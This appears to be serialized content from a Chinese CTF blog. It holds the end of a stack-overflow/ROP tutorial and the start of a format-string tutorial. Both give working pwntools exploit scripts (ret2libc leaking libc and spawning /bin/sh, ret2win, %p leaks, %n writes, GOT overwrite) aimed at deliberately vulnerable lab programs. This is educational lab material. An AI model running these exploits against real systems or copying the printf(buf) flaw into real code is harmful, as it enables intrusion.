= libc 基址 + 字符串偏移\n",[19,9264,9262],{"__ignoreMap":33},[85,9266,9268],{"id":9267},"_82-完整脚本","8.2 完整脚本",[28,9270,9272],{"className":113,"code":9271,"language":115,"meta":33,"style":33},"from pwn import *\n\ncontext.log_level = 'error'\n# 只显示错误，减少调试信息刷屏。\n\nelf = ELF('./vuln')\nlibc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n# 本地 libc 文件；远程题目若提供 libc，这里换成对应的文件路径。\np = process('./vuln')\n\noffset = 40\npop_rdi = 0x401233        # ROPgadget 搜到的 \"pop rdi; ret\" 地址\nret = 0x40101a            # 任意 \"ret\" 地址，用于栈 16 字节对齐\n\n# 第一阶段：泄露 puts 地址并返回 main\npayload1 = b'A' * offset\npayload1 += p64(ret)\n# 先执行一个 ret：让栈指针再弹 8 字节，满足 system 的 16 字节对齐要求。\npayload1 += p64(pop_rdi)\npayload1 += p64(elf.got['puts'])\n# got['puts']：GOT 里存放 puts 真实地址的内存位置。\npayload1 += p64(elf.plt['puts'])\n# plt['puts']：调用 puts 的入口；执行后相当于 puts(puts@got)，打印真实地址。\npayload1 += p64(elf.symbols['main'])\n# 回到 main，让程序再读一次输入，进行第二阶段。\n\np.recvuntil(b'name?')\np.sendline(payload1)\n\nleak = u64(p.recvline().strip().ljust(8, b'\\x00'))\n# recvline()：读一行（puts 输出后带换行）。\n# strip()：去掉换行；ljust(8, b'\\x00')：不足 8 字节用 \\x00 补齐。\n# u64()：8 字节小端转成整数，即 puts 的真实地址。\nprint(\"puts:\", hex(leak))\n\nlibc.address = leak - libc.symbols['puts']\n# libc.symbols['puts']：puts 在 libc 文件内的固定偏移。\n# 真实地址 - 偏移 = libc 基址；给 libc.address 赋值后，\n# 后面的 libc.symbols['system'] 会自动加上基址。\nprint(\"libc base:\", hex(libc.address))\n\n# 第二阶段：system(\"/bin/sh\")\npayload2 = b'A' * offset\npayload2 += p64(ret)\npayload2 += p64(pop_rdi)\npayload2 += p64(next(libc.search(b'/bin/sh')))\n# libc.search(b'/bin/sh')：在 libc 里找该字符串的所有位置；\n# next(...) 取第一个位置（偏移），libc.address 赋值后自动加基址。\npayload2 += p64(libc.symbols['system'])\n# 调用 system(\"/bin/sh\")。\n\np.sendlineafter(b'name?', payload2)\n# sendlineafter：先等提示再发送，保证时序正确。\np.interactive()\n",[19,9273,9274,9278,9282,9287,9292,9296,9300,9305,9310,9314,9318,9322,9327,9332,9336,9341,9346,9351,9356,9361,9366,9371,9376,9381,9386,9391,9395,9399,9404,9408,9413,9418,9423,9428,9433,9437,9442,9447,9452,9458,9464,9469,9475,9481,9487,9493,9499,9505,9511,9517,9523,9528,9534,9540],{"__ignoreMap":33},[37,9275,9276],{"class":39,"line":40},[37,9277,2809],{},[37,9279,9280],{"class":39,"line":60},[37,9281,133],{"emptyLinePlaceholder":132},[37,9283,9284],{"class":39,"line":71},[37,9285,9286],{},"context.log_level = 'error'\n",[37,9288,9289],{"class":39,"line":136},[37,9290,9291],{},"# 只显示错误，减少调试信息刷屏。\n",[37,9293,9294],{"class":39,"line":142},[37,9295,133],{"emptyLinePlaceholder":132},[37,9297,9298],{"class":39,"line":148},[37,9299,2899],{},[37,9301,9302],{"class":39,"line":154},[37,9303,9304],{},"libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n",[37,9306,9307],{"class":39,"line":159},[37,9308,9309],{},"# 本地 libc 文件；远程题目若提供 libc，这里换成对应的文件路径。\n",[37,9311,9312],{"class":39,"line":165},[37,9313,2818],{},[37,9315,9316],{"class":39,"line":171},[37,9317,133],{"emptyLinePlaceholder":132},[37,9319,9320],{"class":39,"line":177},[37,9321,9038],{},[37,9323,9324],{"class":39,"line":183},[37,9325,9326],{},"pop_rdi = 0x401233        # ROPgadget 搜到的 \"pop rdi; ret\" 地址\n",[37,9328,9329],{"class":39,"line":189},[37,9330,9331],{},"ret = 0x40101a            # 任意 \"ret\" 地址，用于栈 16 字节对齐\n",[37,9333,9334],{"class":39,"line":195},[37,9335,133],{"emptyLinePlaceholder":132},[37,9337,9338],{"class":39,"line":200},[37,9339,9340],{},"# 第一阶段：泄露 puts 地址并返回 main\n",[37,9342,9343],{"class":39,"line":206},[37,9344,9345],{},"payload1 = b'A' * offset\n",[37,9347,9348],{"class":39,"line":212},[37,9349,9350],{},"payload1 += p64(ret)\n",[37,9352,9353],{"class":39,"line":218},[37,9354,9355],{},"# 先执行一个 ret：让栈指针再弹 8 字节，满足 system 的 16 字节对齐要求。\n",[37,9357,9358],{"class":39,"line":224},[37,9359,9360],{},"payload1 += p64(pop_rdi)\n",[37,9362,9363],{"class":39,"line":230},[37,9364,9365],{},"payload1 += p64(elf.got['puts'])\n",[37,9367,9368],{"class":39,"line":236},[37,9369,9370],{},"# got['puts']：GOT 里存放 puts 真实地址的内存位置。\n",[37,9372,9373],{"class":39,"line":241},[37,9374,9375],{},"payload1 += p64(elf.plt['puts'])\n",[37,9377,9378],{"class":39,"line":247},[37,9379,9380],{},"# plt['puts']：调用 puts 的入口；执行后相当于 puts(puts@got)，打印真实地址。\n",[37,9382,9383],{"class":39,"line":253},[37,9384,9385],{},"payload1 += p64(elf.symbols['main'])\n",[37,9387,9388],{"class":39,"line":258},[37,9389,9390],{},"# 回到 main，让程序再读一次输入，进行第二阶段。\n",[37,9392,9393],{"class":39,"line":264},[37,9394,133],{"emptyLinePlaceholder":132},[37,9396,9397],{"class":39,"line":270},[37,9398,3061],{},[37,9400,9401],{"class":39,"line":276},[37,9402,9403],{},"p.sendline(payload1)\n",[37,9405,9406],{"class":39,"line":281},[37,9407,133],{"emptyLinePlaceholder":132},[37,9409,9410],{"class":39,"line":287},[37,9411,9412],{},"leak = u64(p.recvline().strip().ljust(8, b'\\x00'))\n",[37,9414,9415],{"class":39,"line":293},[37,9416,9417],{},"# recvline()：读一行（puts 输出后带换行）。\n",[37,9419,9420],{"class":39,"line":299},[37,9421,9422],{},"# strip()：去掉换行；ljust(8, b'\\x00')：不足 8 字节用 \\x00 补齐。\n",[37,9424,9425],{"class":39,"line":305},[37,9426,9427],{},"# u64()：8 字节小端转成整数，即 puts 的真实地址。\n",[37,9429,9430],{"class":39,"line":4875},[37,9431,9432],{},"print(\"puts:\", hex(leak))\n",[37,9434,9435],{"class":39,"line":4880},[37,9436,133],{"emptyLinePlaceholder":132},[37,9438,9439],{"class":39,"line":4886},[37,9440,9441],{},"libc.address = leak - libc.symbols['puts']\n",[37,9443,9444],{"class":39,"line":4891},[37,9445,9446],{},"# libc.symbols['puts']：puts 在 libc 文件内的固定偏移。\n",[37,9448,9449],{"class":39,"line":4897},[37,9450,9451],{},"# 真实地址 - 偏移 = libc 基址；给 libc.address 赋值后，\n",[37,9453,9455],{"class":39,"line":9454},39,[37,9456,9457],{},"# 后面的 libc.symbols['system'] 会自动加上基址。\n",[37,9459,9461],{"class":39,"line":9460},40,[37,9462,9463],{},"print(\"libc base:\", hex(libc.address))\n",[37,9465,9467],{"class":39,"line":9466},41,[37,9468,133],{"emptyLinePlaceholder":132},[37,9470,9472],{"class":39,"line":9471},42,[37,9473,9474],{},"# 第二阶段：system(\"/bin/sh\")\n",[37,9476,9478],{"class":39,"line":9477},43,[37,9479,9480],{},"payload2 = b'A' * offset\n",[37,9482,9484],{"class":39,"line":9483},44,[37,9485,9486],{},"payload2 += p64(ret)\n",[37,9488,9490],{"class":39,"line":9489},45,[37,9491,9492],{},"payload2 += p64(pop_rdi)\n",[37,9494,9496],{"class":39,"line":9495},46,[37,9497,9498],{},"payload2 += p64(next(libc.search(b'/bin/sh')))\n",[37,9500,9502],{"class":39,"line":9501},47,[37,9503,9504],{},"# libc.search(b'/bin/sh')：在 libc 里找该字符串的所有位置；\n",[37,9506,9508],{"class":39,"line":9507},48,[37,9509,9510],{},"# next(...) 取第一个位置（偏移），libc.address 赋值后自动加基址。\n",[37,9512,9514],{"class":39,"line":9513},49,[37,9515,9516],{},"payload2 += p64(libc.symbols['system'])\n",[37,9518,9520],{"class":39,"line":9519},50,[37,9521,9522],{},"# 调用 system(\"/bin/sh\")。\n",[37,9524,9526],{"class":39,"line":9525},51,[37,9527,133],{"emptyLinePlaceholder":132},[37,9529,9531],{"class":39,"line":9530},52,[37,9532,9533],{},"p.sendlineafter(b'name?', payload2)\n",[37,9535,9537],{"class":39,"line":9536},53,[37,9538,9539],{},"# sendlineafter：先等提示再发送，保证时序正确。\n",[37,9541,9543],{"class":39,"line":9542},54,[37,9544,3090],{},[15,9546,9547],{},"运行输出：",[28,9549,9552],{"className":9550,"code":9551,"language":97,"meta":33},[95],"puts: 0x7f8a2c3a5aa0\nlibc base: 0x7f8a2c328000\n[*] Switching to interactive mode\n$ id\n",[19,9553,9551],{"__ignoreMap":33},[85,9555,9557],{"id":9556},"_83-三个易错点","8.3 三个易错点",[1910,9559,9560,9580,9595],{},[1913,9561,9562,1682,9565,9568,9569,9572,9573,9576,9577,490],{},[107,9563,9564],{},"补零",[19,9566,9567],{},"puts"," 输出的地址以换行结尾，",[19,9570,9571],{},"strip()"," 去掉换行，",[19,9574,9575],{},"ljust(8, b'\\x00')"," 补到 8 字节再 ",[19,9578,9579],{},"u64",[1913,9581,9582,1682,9585,9588,9589,9592,9593,490],{},[107,9583,9584],{},"对齐",[19,9586,9587],{},"system"," 内部使用 ",[19,9590,9591],{},"movaps","，要求栈 16 字节对齐，需要额外一个 ",[19,9594,8696],{},[1913,9596,9597,9600,9601,9604],{},[107,9598,9599],{},"libc 版本","：远程题目若提供 libc，用 ",[19,9602,9603],{},"libc = ELF('./libc-2.27.so')","；否则在 libc.rip 输入泄露的地址查版本。",[10,9606,9608],{"id":9607},"九必学工具","九、必学工具",[943,9610,9611,9621],{},[946,9612,9613],{},[949,9614,9615,9617,9619],{},[952,9616,954],{},[952,9618,3135],{},[952,9620,3138],{},[962,9622,9623,9641,9653],{},[949,9624,9625,9627,9639],{},[967,9626,3145],{},[967,9628,9629,991,9631,1139,9633,991,9635,3160,9637],{},[19,9630,3150],{},[19,9632,2798],{},[19,9634,3156],{},[19,9636,3012],{},[19,9638,3163],{},[967,9640,3167],{},[949,9642,9643,9645,9648],{},[967,9644,9185],{},[967,9646,9647],{},"搜索 gadget、指定寄存器、输出地址",[967,9649,9650],{},[19,9651,9652],{},"ROPgadget --binary vuln | grep \"pop rdi\"",[949,9654,9655,9658,9661],{},[967,9656,9657],{},"GDB（pwndbg）",[967,9659,9660],{},"断点、看栈、查看崩溃点",[967,9662,9663,991,9665,991,9667],{},[19,9664,3193],{},[19,9666,3196],{},[19,9668,9669],{},"bt",[10,9671,9673],{"id":9672},"十小-ctf-实战","十、小 CTF 实战",[15,9675,1039,9676,9678,9679,9681,9682,9684],{},[19,9677,3208],{}," 运行 ",[19,9680,2785],{},"（No canary、No PIE，有 ",[19,9683,2775],{},"）。",[28,9686,9688],{"className":113,"code":9687,"language":115,"meta":33,"style":33},"from pwn import *\n\nelf = ELF('./vuln')\np = remote('1.2.3.4', 10001)\n\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\np.sendline(b'cat flag')\np.interactive()\n",[19,9689,9690,9694,9698,9702,9706,9710,9714,9718,9722],{"__ignoreMap":33},[37,9691,9692],{"class":39,"line":40},[37,9693,2809],{},[37,9695,9696],{"class":39,"line":60},[37,9697,133],{"emptyLinePlaceholder":132},[37,9699,9700],{"class":39,"line":71},[37,9701,2899],{},[37,9703,9704],{"class":39,"line":136},[37,9705,2952],{},[37,9707,9708],{"class":39,"line":142},[37,9709,133],{"emptyLinePlaceholder":132},[37,9711,9712],{"class":39,"line":148},[37,9713,3076],{},[37,9715,9716],{"class":39,"line":154},[37,9717,3002],{},[37,9719,9720],{"class":39,"line":159},[37,9721,3296],{},[37,9723,9724],{"class":39,"line":165},[37,9725,3090],{},[15,9727,1310],{},[28,9729,9731],{"className":9730,"code":3311,"language":97,"meta":33},[95],[19,9732,3311],{"__ignoreMap":33},[10,9734,9736],{"id":9735},"十一小结","十一、小结",[15,9738,9739,9740,9742,9743,9745],{},"栈溢出主线：",[19,9741,3172],{}," 判断防护 → ",[19,9744,2798],{}," 找偏移 → 覆盖返回地址。NX 出现后用 ROP，ASLR 出现后先泄露再计算。练熟 ret2win 与 ret2libc 即可覆盖大多数入门到中级 Pwn 题。",[1144,9747,9748],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}",{"title":33,"searchDepth":60,"depth":60,"links":9750},[9751,9752,9753,9754,9755,9756,9757,9758,9759,9760,9761],{"id":8681,"depth":71,"text":8682},{"id":25,"depth":71,"text":26},{"id":2535,"depth":71,"text":2536},{"id":8861,"depth":71,"text":8862},{"id":2779,"depth":71,"text":2780},{"id":9057,"depth":71,"text":9058},{"id":9165,"depth":71,"text":9166},{"id":9232,"depth":71,"text":9233},{"id":9607,"depth":71,"text":9608},{"id":9672,"depth":71,"text":9673},{"id":9735,"depth":71,"text":9736},"栈溢出实践：编译与 checksec、cyclic 找偏移、ret2win 利用、PLT/GOT 与 ASLR 原理、ret2libc 泄露计算与完整脚本。",{"date":1160,"image":9764,"alt":9765,"tags":9766,"published":132},"/blogs-img/blog8.png","栈溢出与 ROP 深入实战",[1164,2701,9767,1167],"栈溢出","/blogs/ctf-pwn-stack-overflow-rop-deep-dive",{"title":8676,"description":9762},"blogs/17. ctf-pwn-stack-overflow-rop-deep-dive","nXKz1FbP17Wgk_hN6NTnSqOWF8XUdJPumxZYT7_VJr8",{"id":9773,"title":9774,"body":9775,"description":10800,"extension":1158,"meta":10801,"navigation":132,"ogImage":4345,"path":10805,"seo":10806,"stem":10807,"__hash__":10808},"content/blogs/18. ctf-pwn-format-string-deep-dive.md","格式化字符串深入实战：%p 泄露、偏移定位与 %n 任意写",{"type":7,"value":9776,"toc":10788},[9777,9781,9784,9799,9814,9831,9835,9840,9889,9910,9914,9919,9921,9930,9932,9938,9941,9947,9958,9966,9970,9975,9991,9994,9996,10004,10006,10012,10015,10021,10031,10098,10103,10133,10137,10142,10155,10163,10218,10271,10274,10283,10286,10290,10295,10310,10315,10321,10323,10336,10339,10382,10386,10397,10405,10411,10481,10514,10517,10596,10602,10631,10641,10643,10701,10705,10712,10721,10764,10766,10772,10774,10785],[10,9778,9780],{"id":9779},"一现实背景printf-的错误写法","一、现实背景：printf 的错误写法",[15,9782,9783],{},"C 程序员常写的输出代码：",[28,9785,9787],{"className":1937,"code":9786,"language":1939,"meta":33,"style":33},"printf(buf);      // 错误：buf 被当成格式字符串\nprintf(\"%s\", buf); // 正确：buf 只是数据\n",[19,9788,9789,9794],{"__ignoreMap":33},[37,9790,9791],{"class":39,"line":40},[37,9792,9793],{},"printf(buf);      // 错误：buf 被当成格式字符串\n",[37,9795,9796],{"class":39,"line":60},[37,9797,9798],{},"printf(\"%s\", buf); // 正确：buf 只是数据\n",[15,9800,9801,9802,9805,9806,9809,9810,9813],{},"当 ",[19,9803,9804],{},"buf"," 内容是 ",[19,9807,9808],{},"%p"," 时，",[19,9811,9812],{},"printf"," 会把它当格式说明符，去读取\"本不存在的参数\"——读到的是栈与寄存器上的值。这造成两类能力：",[9815,9816,9817,9825],"ul",{},[1913,9818,9819,1139,9821,9824],{},[19,9820,9808],{},[19,9822,9823],{},"%s","：任意读（泄露内存）。",[1913,9826,9827,9830],{},[19,9828,9829],{},"%n","：任意写（写入内存）。",[10,9832,9834],{"id":9833},"二漏洞程序与编译","二、漏洞程序与编译",[15,9836,9837,1682],{},[19,9838,9839],{},"fmt.c",[28,9841,9843],{"className":1937,"code":9842,"language":1939,"meta":33,"style":33},"#include \u003Cstdio.h>\n\nint main() {\n    char buf[100];\n    setvbuf(stdout, NULL, _IONBF, 0);\n    printf(\"> \");\n    fgets(buf, sizeof(buf), stdin);\n    printf(buf);          // 漏洞\n    return 0;\n}\n",[19,9844,9845,9849,9853,9857,9862,9866,9871,9876,9881,9885],{"__ignoreMap":33},[37,9846,9847],{"class":39,"line":40},[37,9848,2552],{},[37,9850,9851],{"class":39,"line":60},[37,9852,133],{"emptyLinePlaceholder":132},[37,9854,9855],{"class":39,"line":71},[37,9856,2608],{},[37,9858,9859],{"class":39,"line":136},[37,9860,9861],{},"    char buf[100];\n",[37,9863,9864],{"class":39,"line":142},[37,9865,2613],{},[37,9867,9868],{"class":39,"line":148},[37,9869,9870],{},"    printf(\"> \");\n",[37,9872,9873],{"class":39,"line":154},[37,9874,9875],{},"    fgets(buf, sizeof(buf), stdin);\n",[37,9877,9878],{"class":39,"line":159},[37,9879,9880],{},"    printf(buf);          // 漏洞\n",[37,9882,9883],{"class":39,"line":165},[37,9884,2633],{},[37,9886,9887],{"class":39,"line":171},[37,9888,2576],{},[28,9890,9892],{"className":30,"code":9891,"language":32,"meta":33,"style":33},"gcc -o fmt fmt.c -fno-stack-protector -no-pie\n",[19,9893,9894],{"__ignoreMap":33},[37,9895,9896,9898,9900,9903,9906,9908],{"class":39,"line":40},[37,9897,2650],{"class":43},[37,9899,2653],{"class":479},[37,9901,9902],{"class":47}," fmt",[37,9904,9905],{"class":47}," fmt.c",[37,9907,2662],{"class":479},[37,9909,2665],{"class":479},[10,9911,9913],{"id":9912},"三核心步骤-1p-泄露","三、核心步骤 1：%p 泄露",[15,9915,9916,9918],{},[107,9917,109],{},"：用最便宜的测试确认漏洞，并观察\"输入本身出现在参数列表里\"这一关键事实。",[15,9920,6482],{},[28,9922,9924],{"className":30,"code":9923,"language":32,"meta":33,"style":33},"./fmt\n",[19,9925,9926],{"__ignoreMap":33},[37,9927,9928],{"class":39,"line":40},[37,9929,9923],{"class":43},[15,9931,1295],{},[28,9933,9936],{"className":9934,"code":9935,"language":97,"meta":33},[95],"%p.%p.%p.%p.%p.%p\n",[19,9937,9935],{"__ignoreMap":33},[15,9939,9940],{},"实际输出（本机 arm64 实测，Linux x86-64 输出形式一致、地址值不同）：",[28,9942,9945],{"className":9943,"code":9944,"language":97,"meta":33},[95],"> 0xfffffffffffffff0.0x16d8b6c48.0x40000000.0x70252e70252e7025.0x252e70252e70252e.0x100000a70\n",[19,9946,9944],{"__ignoreMap":33},[15,9948,9949,9950,9953,9954,9957],{},"出现一堆十六进制地址，漏洞确认。注意第 4、5 个值里有 ",[19,9951,9952],{},"0x70252e70","，正是 ",[19,9955,9956],{},"%p.%p"," 的 ASCII 字节——说明我们的输入本身也在参数列表里。",[15,9959,9960,1682,9963,9965],{},[107,9961,9962],{},"为什么能泄露",[19,9964,9812],{}," 按格式串逐个取参数。我们没传参数，它就继续往寄存器/栈上读\"不存在的参数\"，读到的都是内存里的真实值。",[10,9967,9969],{"id":9968},"四核心步骤-2偏移定位","四、核心步骤 2：偏移定位",[15,9971,9972,9974],{},[107,9973,109],{},"：确定\"我们的输入位于第几个参数\"，这是所有精确利用的前提。",[15,9976,9977,9979,9980,9982,9983,9986,9987,9990],{},[107,9978,336],{},"：在输入开头放 4 个 ",[19,9981,3016],{},"，用 ",[19,9984,9985],{},"%N$p"," 逐个位置试探；哪个位置输出 ",[19,9988,9989],{},"0x41414141","，哪个位置就是输入起点。",[15,9992,9993],{},"要精确利用，需要知道\"我们的输入位于第几个参数\"。",[15,9995,6482],{},[28,9997,9998],{"className":30,"code":9923,"language":32,"meta":33,"style":33},[19,9999,10000],{"__ignoreMap":33},[37,10001,10002],{"class":39,"line":40},[37,10003,9923],{"class":43},[15,10005,1295],{},[28,10007,10010],{"className":10008,"code":10009,"language":97,"meta":33},[95],"AAAA.%6$p\n",[19,10011,10009],{"__ignoreMap":33},[15,10013,10014],{},"预期输出（Linux x86-64 典型情况）：",[28,10016,10019],{"className":10017,"code":10018,"language":97,"meta":33},[95],"> AAAA.0x41414141\n",[19,10020,10018],{"__ignoreMap":33},[15,10022,10023,10024,10026,10027,10030],{},"出现 ",[19,10025,9989],{},"（",[19,10028,10029],{},"AAAA"," 的十六进制），说明 buf 起始位置是第 6 个参数，偏移 = 6。不同程序偏移不同（常见 6-10），确认方法就是逐个数：",[28,10032,10034],{"className":113,"code":10033,"language":115,"meta":33,"style":33},"from pwn import *\n\nfor i in range(1, 15):\n    p = process('./fmt')\n    p.recvuntil(b'> ')\n    p.sendline(f'AAAA.%{i}$p'.encode())\n    # f'AAAA.%{i}$p'：构造 \"AAAA.%1$p\"、\"AAAA.%2$p\" ... 依次试探。\n    # .encode()：字符串转成字节串才能 sendline。\n    out = p.recvall()\n    if b'0x41414141' in out:\n        # 0x41414141 就是 AAAA 的十六进制，说明第 i 个参数是输入起点。\n        print(f'offset = {i}')\n        break\n",[19,10035,10036,10040,10044,10049,10054,10059,10064,10069,10074,10079,10084,10089,10094],{"__ignoreMap":33},[37,10037,10038],{"class":39,"line":40},[37,10039,2809],{},[37,10041,10042],{"class":39,"line":60},[37,10043,133],{"emptyLinePlaceholder":132},[37,10045,10046],{"class":39,"line":71},[37,10047,10048],{},"for i in range(1, 15):\n",[37,10050,10051],{"class":39,"line":136},[37,10052,10053],{},"    p = process('./fmt')\n",[37,10055,10056],{"class":39,"line":142},[37,10057,10058],{},"    p.recvuntil(b'> ')\n",[37,10060,10061],{"class":39,"line":148},[37,10062,10063],{},"    p.sendline(f'AAAA.%{i}$p'.encode())\n",[37,10065,10066],{"class":39,"line":154},[37,10067,10068],{},"    # f'AAAA.%{i}$p'：构造 \"AAAA.%1$p\"、\"AAAA.%2$p\" ... 依次试探。\n",[37,10070,10071],{"class":39,"line":159},[37,10072,10073],{},"    # .encode()：字符串转成字节串才能 sendline。\n",[37,10075,10076],{"class":39,"line":165},[37,10077,10078],{},"    out = p.recvall()\n",[37,10080,10081],{"class":39,"line":171},[37,10082,10083],{},"    if b'0x41414141' in out:\n",[37,10085,10086],{"class":39,"line":177},[37,10087,10088],{},"        # 0x41414141 就是 AAAA 的十六进制，说明第 i 个参数是输入起点。\n",[37,10090,10091],{"class":39,"line":183},[37,10092,10093],{},"        print(f'offset = {i}')\n",[37,10095,10096],{"class":39,"line":189},[37,10097,434],{},[15,10099,1310,10100,490],{},[19,10101,10102],{},"offset = 6",[15,10104,10105,10106,318,10109,10111,10112,10114,10115,10118,10119,10122,10123,10118,10126,1831,10129,10132],{},"为什么从 6 开始：x86-64 调用约定前 6 个整数参数用寄存器（",[19,10107,10108],{},"rdi, rsi, rdx, rcx, r8, r9",[19,10110,9812],{}," 自己占 ",[19,10113,9219],{},"，所以 ",[19,10116,10117],{},"%1$p"," 到 ",[19,10120,10121],{},"%5$p"," 对应 ",[19,10124,10125],{},"rsi",[19,10127,10128],{},"r9",[19,10130,10131],{},"%6$p"," 开始读栈。",[10,10134,10136],{"id":10135},"五核心步骤-3泄露-canary-与-libc","五、核心步骤 3：泄露 canary 与 libc",[15,10138,10139,10141],{},[107,10140,109],{},"：把栈上的关键保护值（canary）与库地址（libc）泄露出来，供后续利用。",[15,10143,10144,10146,10147,10150,10151,10154],{},[107,10145,336],{},"：不同数据在栈上有固定特征——canary 以 ",[19,10148,10149],{},"00"," 结尾，libc 地址以 ",[19,10152,10153],{},"0x7f"," 开头。扫描一段偏移后按特征识别。",[15,10156,1918,10157,10118,10159,10162],{},[19,10158,10131],{},[19,10160,10161],{},"%40$p"," 全部打出来，识别特征值：",[943,10164,10165,10175],{},[946,10166,10167],{},[949,10168,10169,10172],{},[952,10170,10171],{},"值特征",[952,10173,10174],{},"内容",[962,10176,10177,10188,10199,10209],{},[949,10178,10179,10185],{},[967,10180,10181,10182,10184],{},"以 ",[19,10183,10149],{}," 结尾的随机值",[967,10186,10187],{},"canary",[949,10189,10190,10196],{},[967,10191,10192,10195],{},[19,10193,10194],{},"0x7fff"," 开头",[967,10197,10198],{},"栈地址",[949,10200,10201,10206],{},[967,10202,10203,10195],{},[19,10204,10205],{},"0x55/0x56",[967,10207,10208],{},"程序代码地址（PIE 基址相关）",[949,10210,10211,10215],{},[967,10212,10213,10195],{},[19,10214,10153],{},[967,10216,10217],{},"libc 地址",[28,10219,10221],{"className":113,"code":10220,"language":115,"meta":33,"style":33},"payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))\n# 生成 \"%6$p.%7$p....%39$p\"，一次打出一串值。\np.sendline(payload)\nout = p.recvall().decode().split('.')\n# 按点号切分，得到每个位置的值。\n\nfor i, v in enumerate(out):\n    if v.endswith('00') and len(v) == 18:\n        # 16 位十六进制 + 结尾 00：符合 canary 的典型形态。\n        print(f'possible canary at {i+6}: {v}')\n",[19,10222,10223,10228,10233,10237,10242,10247,10251,10256,10261,10266],{"__ignoreMap":33},[37,10224,10225],{"class":39,"line":40},[37,10226,10227],{},"payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))\n",[37,10229,10230],{"class":39,"line":60},[37,10231,10232],{},"# 生成 \"%6$p.%7$p....%39$p\"，一次打出一串值。\n",[37,10234,10235],{"class":39,"line":71},[37,10236,3002],{},[37,10238,10239],{"class":39,"line":136},[37,10240,10241],{},"out = p.recvall().decode().split('.')\n",[37,10243,10244],{"class":39,"line":142},[37,10245,10246],{},"# 按点号切分，得到每个位置的值。\n",[37,10248,10249],{"class":39,"line":148},[37,10250,133],{"emptyLinePlaceholder":132},[37,10252,10253],{"class":39,"line":154},[37,10254,10255],{},"for i, v in enumerate(out):\n",[37,10257,10258],{"class":39,"line":159},[37,10259,10260],{},"    if v.endswith('00') and len(v) == 18:\n",[37,10262,10263],{"class":39,"line":165},[37,10264,10265],{},"        # 16 位十六进制 + 结尾 00：符合 canary 的典型形态。\n",[37,10267,10268],{"class":39,"line":171},[37,10269,10270],{},"        print(f'possible canary at {i+6}: {v}')\n",[15,10272,10273],{},"泄露 libc 地址后：",[28,10275,10277],{"className":113,"code":10276,"language":115,"meta":33,"style":33},"libc.address = leaked_libc_addr - libc.symbols['puts']\n",[19,10278,10279],{"__ignoreMap":33},[37,10280,10281],{"class":39,"line":40},[37,10282,10276],{},[15,10284,10285],{},"与 ret2libc 的\"先泄露再计算\"思路完全一致。",[10,10287,10289],{"id":10288},"六核心步骤-4n-任意写","六、核心步骤 4：%n 任意写",[15,10291,10292,10294],{},[107,10293,109],{},"：理解\"写内存\"的原语，为覆盖 GOT 做准备。",[15,10296,10297,1682,10299,10301,10302,10305,10306,10309],{},[107,10298,336],{},[19,10300,9829],{}," 把\"已打印字符数\"写入参数指向的地址。先用 ",[19,10303,10304],{},"%100c"," 精确控制打印量，再用 ",[19,10307,10308],{},"%N$n"," 写到目标地址。",[15,10311,10312,10314],{},[19,10313,9829],{}," 把\"当前已经打印的字符数\"写入参数指向的地址：",[28,10316,10319],{"className":10317,"code":10318,"language":97,"meta":33},[95],"%100c%7$n\n",[19,10320,10318],{"__ignoreMap":33},[15,10322,9147],{},[1910,10324,10325,10330],{},[1913,10326,10327,10329],{},[19,10328,10304],{}," 打印 100 个填充字符，已打印数变成 100。",[1913,10331,10332,10335],{},[19,10333,10334],{},"%7$n"," 把 100 写入第 7 个参数指向的地址。",[15,10337,10338],{},"所以如果第 7 个参数恰好是我们输入里的一个地址，就能往那个地址写 100。写入宽度控制：",[943,10340,10341,10351],{},[946,10342,10343],{},[949,10344,10345,10348],{},[952,10346,10347],{},"说明符",[952,10349,10350],{},"写入字节数",[962,10352,10353,10362,10372],{},[949,10354,10355,10359],{},[967,10356,10357],{},[19,10358,9829],{},[967,10360,10361],{},"4 字节",[949,10363,10364,10369],{},[967,10365,10366],{},[19,10367,10368],{},"%hn",[967,10370,10371],{},"2 字节",[949,10373,10374,10379],{},[967,10375,10376],{},[19,10377,10378],{},"%hhn",[967,10380,10381],{},"1 字节",[10,10383,10385],{"id":10384},"七核心步骤-5fmtstr_payload-覆盖-got","七、核心步骤 5：fmtstr_payload 覆盖 GOT",[15,10387,10388,10390,10391,10393,10394,10396],{},[107,10389,109],{},"：把程序即将调用的 ",[19,10392,9567],{}," 改成我们的 ",[19,10395,2775],{},"，实现控制流劫持。",[15,10398,10399,1682,10401,10404],{},[107,10400,336],{},[19,10402,10403],{},"puts@got"," 存的是 puts 真实地址；程序每次调 puts 都先查 GOT。把 GOT 内容改成 win 地址，下一次调用就变成执行 win。验证方式：发送 payload 后看是否进入 shell。",[15,10406,10407,10408,1682],{},"目标程序 ",[19,10409,10410],{},"fmt2.c",[28,10412,10414],{"className":1937,"code":10413,"language":1939,"meta":33,"style":33},"#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\nvoid win() {\n    system(\"/bin/sh\");\n}\n\nint main() {\n    char buf[100];\n    setvbuf(stdout, NULL, _IONBF, 0);\n    printf(\"> \");\n    fgets(buf, sizeof(buf), stdin);\n    printf(buf);          // 漏洞\n    puts(\"Done\");         // 触发 puts@got → win\n    return 